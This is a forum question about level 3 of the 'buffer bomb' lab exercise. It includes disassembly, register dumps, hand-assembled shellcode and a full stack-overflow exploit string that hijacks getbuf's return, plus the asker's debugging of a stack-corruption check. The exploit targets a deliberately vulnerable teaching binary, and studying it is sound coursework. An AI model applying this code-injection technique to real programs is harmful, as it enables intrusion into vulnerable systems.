I am trying to complete level 3 of buffer bomb lab. The task is to supply an exploit string that will cause getbuf to return my cookie (0x4b64b076) back to test, rather than the value 1. The exploit code should set the cookie as the return value, restore any corrupted state, push the correct return location on the stack, and execute a ret instruction to really return to test. I was following the steps from https://github.com/quinnliu/bufferBomb/blob/master/level3.md tutorial, where it says it is enough to set %esp and %ebp values to their original ones to prevent stack corruption, but it's not true in my case; I receive "the stack has been corrupted error". What else do I need to take care of?

C code for function test()

  void test()
      int val;
      volatile int local = uniqueval();
      val = getbuf();
      /* Check for corrupted stack */
      if (local != uniqueval()) {
          printf("Sabotaged!: the stack has been corrupted\n");
      else if (val == cookie) {
          printf("Boom!: getbuf returned 0x%x\n", val);
      else {
          printf("Dud: getbuf returned 0x%x\n", val);

Disassembled test and register states before getbuf() is called:

   0x0804946f <+0>:     push   %ebp
   0x08049470 <+1>:     mov    %esp,%ebp
   0x08049472 <+3>:     sub    $0x18,%esp
=> 0x08049475 <+6>:     call   0x80498c2 <uniqueval>
   0x0804947a <+11>:    mov    %eax,-0x10(%ebp)
   0x0804947d <+14>:    call   0x8049b24 <getbuf>
   0x08049482 <+19>:    mov    %eax,-0xc(%ebp)
   0x08049485 <+22>:    call   0x80498c2 <uniqueval>
   0x0804948a <+27>:    mov    -0x10(%ebp),%edx
   0x0804948d <+30>:    cmp    %edx,%eax
   0x0804948f <+32>:    je     0x80494a3 <test+52>
   0x08049491 <+34>:    sub    $0xc,%esp
   0x08049494 <+37>:    push   $0x804b0ac
   0x08049499 <+42>:    call   0x8049120 <puts@plt>
   0x0804949e <+47>:    add    $0x10,%esp
   0x080494a1 <+50>:    jmp    0x80494e4 <test+117>
   0x080494a3 <+52>:    mov    -0xc(%ebp),%edx
   0x080494a6 <+55>:    mov    0x804e120,%eax
   0x080494ab <+60>:    cmp    %eax,%edx
   0x080494ad <+62>:    jne    0x80494d1 <test+98>
   0x080494af <+64>:    sub    $0x8,%esp
   0x080494b2 <+67>:    pushl  -0xc(%ebp)
   0x080494b5 <+70>:    push   $0x804b0d5
   0x080494ba <+75>:    call   0x8049070 <printf@plt>
   0x080494bf <+80>:    add    $0x10,%esp
   0x080494c2 <+83>:    sub    $0xc,%esp
   0x080494c5 <+86>:    push   $0x3
   0x080494c7 <+88>:    call   0x8049ca1 <validate>
   0x080494cc <+93>:    add    $0x10,%esp
   0x080494cf <+96>:    jmp    0x80494e4 <test+117>
   0x080494d1 <+98>:    sub    $0x8,%esp
   0x080494d4 <+101>:   pushl  -0xc(%ebp)
   0x080494d7 <+104>:   push   $0x804b0f2
   0x080494dc <+109>:   call   0x8049070 <printf@plt>
   0x080494e1 <+114>:   add    $0x10,%esp
   0x080494e4 <+117>:   nop
   0x080494e5 <+118>:   leave
   0x080494e6 <+119>:   ret

(gdb) i r
eax            0xc                 12
ecx            0x0                 0
edx            0xf7f91830          -134670288
ebx            0xffffc8c0          -14144
esp            0x55682ee8          0x55682ee8 <_reserved+1036008>
ebp            0x55682f00          0x55682f00 <_reserved+1036032>

Disassembled getbuf():

(gdb) disas
Dump of assembler code for function getbuf:
   0x08049b24 <+0>:     push   %ebp
   0x08049b25 <+1>:     mov    %esp,%ebp
   0x08049b27 <+3>:     sub    $0x28,%esp
=> 0x08049b2a <+6>:     sub    $0xc,%esp
   0x08049b2d <+9>:     lea    -0x28(%ebp),%eax
   0x08049b30 <+12>:    push   %eax
   0x08049b31 <+13>:    call   0x8049603 <Gets>
   0x08049b36 <+18>:    add    $0x10,%esp
   0x08049b39 <+21>:    mov    $0x1,%eax
   0x08049b3e <+26>:    leave
   0x08049b3f <+27>:    ret

getbuf() stores return value (1) in %eax regsiter, so in the exploit string I move the value of my cookie to %eax:

movl $0x4b64b076 , %eax #store cookie in %eax
movl $0x55682f00 , %ebp #restore the value of %ebp
pushl $0x08049482 #address of the instruction that comes right after getbuf() in test()

[aasadova@ buflab-handout]$ objdump -d assemblylevel3.o

assemblylevel3.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:   b8 76 b0 64 4b          mov    $0x4b64b076,%eax
   5:   bd 00 2f 68 55          mov    $0x55682f00,%ebp
   a:   68 82 94 04 08          push   $0x8049482
   f:   c3                      ret

The exploit string looks as follows: "61 "x32, "BB "x4, "CC "x4, "DD "x4, "e8 2e 68 55 ", "b8 76 b0 64 4b bd 00 2f 68 55 68 82 94 04 08 c3", where e8 2e 68 55 is the initial %esp content in Little Endian. It correctly sets eip (pointer to the next instruction, line 3 in assembly code; correctly updates %eax, %esp, and %ebp registers) Registers after getbuf() call

(gdb) i r
eax            0x4b64b076          1264889974
ecx            0x3                 3
edx            0x40                64
ebx            0xffffc8c0          -14144
esp            0x55682ee8          0x55682ee8 <_reserved+1036008>
ebp            0x55682f00          0x55682f00 <_reserved+1036032>
esi            0xf7f90000          -134676480
edi            0x0                 0
eip            0x8049482           0x8049482 <test+19>

But once it reaches 0x0804949e <+47> instruction it returns Type string:Sabotaged!: the stack has been corrupted with registers' states as follows:

(gdb) i r
eax            0x40ccf833          1087174707
ecx            0xf7f90074          -134676364
edx            0x82685568          -2107091608
ebx            0xffffc8c0          -14144
esp            0x55682ed8          0x55682ed8 <_reserved+1035992>
ebp            0x55682f00          0x55682f00 <_reserved+1036032>
esi            0xf7f90000          -134676480
edi            0x0                 0
eip            0x8049499           0x8049499 <test+42>
  • What's in memory when you deliver the exploit (after getbuf call, I guess)? Whole buffer, or does it terminate at \00 as C strings do?
    – domen
    Feb 25 '20 at 8:23

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.